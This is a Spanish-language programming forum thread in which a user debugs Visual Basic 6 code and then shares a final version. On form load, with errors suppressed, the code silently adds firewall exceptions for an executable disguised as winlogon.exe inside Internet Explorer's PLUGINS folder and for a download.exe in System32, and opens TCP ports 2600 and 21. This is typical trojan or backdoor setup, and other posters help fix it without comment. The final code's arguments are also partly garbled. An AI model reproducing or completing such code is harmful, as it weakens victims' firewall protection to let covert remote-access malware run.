Bien, tengo el siguiente codigo
Citar
Private Sub Form_Load()
'Agregar Download.exe y Winlogon.exe a la lista Aceptable del Firewall de Windows
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", App.Path & "\" & "winlogon.exe" & ":*:Enabled:Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString
RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString
End Sub
Pero me dice que esta mal:
Compile error:
Sub or Function not defined
Que es lo que le hace falta al codigo?
Usa el buscador del foro, eso se ha repetido varias veces.
no encontre como poder agregar bien los registtros, pero bueno gracias de todas maneras. en cuanto sepa aqui lo posteare
Lo que estoy creyendo es que no estas declarando las Apis del Registro debes de declararlas asi te funcionara correctamente. Busca en el Foro sobre las Apis de Windows para el Registro.
;D
los encontre, el codigo lo tengo de esta manera:
CitarPrivate Sub Form_Load()
Set Agregar = CreateObject("WScript.Shell") ' asignamos a una variable el objeto
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString
End Sub
pero me dice que hay un error cuando le doy "run" me dice:
Run-Time error 450:
Wrong Number of arguments or invalid property assigment
y le pongo en el boton "DEBUG" y me selecciona de amarillo la primera linea:
Citar
Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString
Listo, ya se ejecuto correctamente, para LOS QUE TENGAN EL MISMO PROBLEMA, aqui les dejo el codigo:
Citar
Private Sub Form_Load()
On Error Resume Next
Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:winlogon", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\WINDOWS\System32\download.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:download", "RegString"
WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", "RegString"
End Sub